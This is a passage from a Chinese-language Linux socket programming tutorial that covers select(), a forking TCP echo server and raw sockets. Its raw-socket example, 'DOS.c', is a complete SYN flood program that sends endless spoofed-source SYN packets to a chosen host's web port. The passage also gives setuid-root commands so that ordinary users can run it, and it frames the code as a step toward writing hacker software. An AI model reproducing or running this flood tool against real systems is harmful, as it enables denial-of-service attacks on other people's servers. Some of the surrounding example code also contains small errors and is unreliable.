int FD_ISSET(int fd,fd_set *fdset)
一般的来说当我们在向文件读写时,进程有可能在读写出阻塞,直到一定的条件满足. 比如我们从一个套接字读数据时,可能缓冲区里面没有数据可读(通信的对方还没有 发送数据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.如果我们不 希望阻塞,我们的一个选择是用select系统调用. 只要我们设置好select的各个参数,那么当文件能读写的时候select回"通知"我们 说能读写了.
readfds所有要读的文件文件描述符的集合

writefds所有要的写文件文件描述符的集合
exceptfds其他的服要向我们通知的文件描述符
timeout超时设置.
nfds所有我们监视的文件描述符中最大的那一个加1
在我们调用select时进程会一直阻塞直到以下的一种情况发生. 1)有文件能读.2)有文件能写.3)超时所设置的时间到.
为了设置文件描述符我们要使用几个宏. FD_SET将fd加入到fdset
FD_CLR将fd从fdset里面清除
FD_ZERO从fdset中清除所有的文件描述符
FD_ISSET判断fd是否在fdset集合中
使用select的一个例子
int use_select(int *readfd,int n)

{

fd_set my_readfd;

int maxfd;

int i;

maxfd=readfd[0];

for(i=1;i<n;i++)

if(readfd[i]>maxfd) maxfd=readfd[i];

while(1)

{

/* 将所有的文件描述符加入 */

FD_ZERO(&my_readfd);

for(i=0;i<n;i++)

FD_SET(readfd[i],*my_readfd);

/* 进程阻塞 */

select(maxfd+1,& my_readfd,NULL,NULL,NULL);

/* 有东西能读了 */

for(i=0;i<n;i++)

if(FD_ISSET(readfd[i],&my_readfd))

{

/* 原来是我能读了 */

we_read(readfd[i]);

}

}

}
使用select后我们的服务器程式就变成了.

初始话(socket,bind,listen);

while(1)

{

设置监听读写文件描述符(FD_*);

调用select;

如果是倾听套接字就绪,说明一个新的连接请求建立

{

建立连接(accept);

加入到监听文件描述符中去;

}

否则说明是个已连接过的描述符

{

进行操作(read或write);

}

}
多路复用I/O能解决资源限制的问题.着模型实际上是将UDP循环模型用在了TCP上面. 这也就带来了一些问题.如由于服务器依次处理客户的请求,所以可能会导致有的客户 会等待非常久.
9.5 并发服务器:UDP服务器

人们把并发的概念用于UDP就得到了并发UDP服务器模型. 并发UDP服务器模型其实是简单的.和并发的TCP服务器模型相同是创建一个子进程来处理的 算法和并发的TCP模型相同.
除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上非常少用这种模型.

9.6 一个并发TCP服务器实例
#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <string.h>

#include <errno.h>

#define MY_PORT 8888
int main(int argc ,char **argv)

{

int listen_fd,accept_fd;

struct sockaddr_in client_addr;

int n;

if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)

{

printf("Socket Error:%s\n\a",strerror(errno));

exit(1);

}

bzero(&client_addr,sizeof(struct sockaddr_in));

client_addr.sin_family=AF_INET;

client_addr.sin_port=htons(MY_PORT);

client_addr.sin_addr.s_addr=htonl(INADDR_ANY);

n=1;

/* 如果服务器终止后,服务器能第二次快速启动而不用等待一段时间 */

setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));

if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)

{

printf("Bind Error:%s\n\a",strerror(errno));

exit(1);

}

listen(listen_fd,5);

while(1)

{

accept_fd=accept(listen_fd,NULL,NULL);

if((accept_fd<0)&&(errno==EINTR))

continue;

else if(accept_fd<0)

{

printf("Accept Error:%s\n\a",strerror(errno));

continue;

}

if((n=fork())==0)

{

/* 子进程处理客户端的连接 */

char buffer[1024];
close(listen_fd);

n=read(accept_fd,buffer,1024);

write(accept_fd,buffer,n);

close(accept_fd);

exit(0);

}

else if(n<0)

printf("Fork Error:%s\n\a",strerror(errno));

close(accept_fd);

}

}
你能用我们前面写客户端程式来调试着程式,或是用来telnet调试

10. 原始套接字

我们在前面已学习过了网络程式的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们能编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有root权限的人创建.
10.1 原始套接字的创建
int sockfd(AF_INET,SOCK_RAW,protocol)
能创建一个原始套接字.根据协议的类型不同我们能创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.周详的情况查看 <netinet/in.h> 下面我们以一个实例来说明原始套接字的创建和使用
10.2 一个原始套接字的实例

还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程式. 下面是程式的原始码
/******************** DOS.c *****************/

#include <sys/socket.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <stdlib.h>

#include <errno.h>

#include <unistd.h>

#include <stdio.h>

#include <netdb.h>
#define DESTPORT 80 /* 要攻击的端口(WEB) */

#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);

unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)

{

int sockfd;

struct sockaddr_in addr;

struct hostent *host;

int on=1;

if(argc!=2)

{

fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);

exit(1);

}

bzero(&addr,sizeof(struct sockaddr_in));

addr.sin_family=AF_INET;

addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)

{

host=gethostbyname(argv[1]);

if(host==NULL)

{

fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));

exit(1);

}

addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);

}

/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);

if(sockfd<0)

{

fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));

exit(1);

}

/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 没有办法,只用终极护用户才能使用原始套接字 *********/

setuid(getpid());
/********* 发送炸弹了!!!! ****/

send_tcp(sockfd,&addr);

}

/******* 发送炸弹的实现 *********/

void send_tcp(int sockfd,struct sockaddr_in *addr)

{

char buffer[100]; /**** 用来放置我们的数据包 ****/

struct ip *ip;

struct tcphdr *tcp;

int head_len;

/******* 我们的数据包实际上没有所有内容,所以长度就是两个结构的长度 ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);
/******** 填充IP数据包的头部,还记得IP的头格式吗? ******/

ip=(struct ip *)buffer;

ip->ip_v=IPVERSION; /** 版本一般的是 4 **/

ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/

ip->ip_tos=0; /** 服务类型 **/

ip->ip_len=htons(head_len); /** IP数据包的长度 **/

ip->ip_id=0; /** 让系统去填写吧 **/

ip->ip_off=0; /** 和上面相同,省点时间 **/

ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/

ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/

ip->ip_sum=0; /** 校验和让系统去做 **/

ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/

/******* 开始填写TCP数据包 *****/

tcp=(struct tcphdr *)(buffer +sizeof(struct ip));

tcp->source=htons(LOCALPORT);

tcp->dest=addr->sin_port; /** 目的端口 **/

tcp->seq=random();

tcp->ack_seq=0;

tcp->doff=5;

tcp->syn=1; /** 我要建立连接 **/

tcp->check=0;

/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/

while(1)

{

/** 你不知道我是从那里来的,慢慢的去等吧! **/

ip->ip_src.s_addr=random();
/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */

/** 下面这条可有可无 */

tcp->check=check_sum((unsigned short *)tcp,

sizeof(struct tcphdr));

sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));

}

}
/* 下面是首部校验和的算法,偷了别人的 */

unsigned short check_sum(unsigned short *addr,int len)

{

register int nleft=len;

register int sum=0;

register short *w=addr;

short answer=0;

while(nleft>1)

{

sum+=*w++;

nleft-=2;

}

if(nleft==1)

{

*(unsigned char *)(&answer)=*(unsigned char *)w;

sum+=answer;

}

sum=(sum>>16)+(sum&0xffff);

sum+=(sum>>16);

answer=~sum;

return(answer);

}
编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户能运行这个程式,我们应该将这个程式的所有者变为root,且 设置setuid位
[root@hoyt /root]#chown root DOS

[root@hoyt /root]#chmod +s DOS

10.3 总结

原始套接字和一般的套接字不同的是以前许多由系统做的事情,目前要由我们自己来做了. 不过这里面是不是有非常多的乐趣呢. 当我们创建了一个TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用相应的模块给数据加上TCP头部,然后加上IP头部. 再发送出去.而目前是我们自己创建各个的头部,系统只是把他们发送出去. 在上面的实例中,由于我们要修改我们的源IP地址,所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据相同也能由系统来创建的.
--------------------------------------------------------------------------------
11. 后记

如果我们只是编写一般的 网络程式还是比较容易的,不过如果我们想写出比较好的网络程式我们更有着遥远的路要走. 网络程式一般的来说都是多进程加上多线程的.为了处理好他们内部的关系,我们还要学习 进程之间的通信.在网络程式里面有着许多的突发事件,为此我们还要去学习更高级的 事件处理知识.目前的信息越来越多了,为了处理好这些信息,我们还要去学习数据库.
如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议.总之我们要学的东西还非常多非常多.

11.1 参考资料

<<实用UNIX编程>>---机械工业出版社.
<<Linux网络编程>>--清华大学出版社.
http://blog.csdn.net/wuqiuming2008/article/details/6776264
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: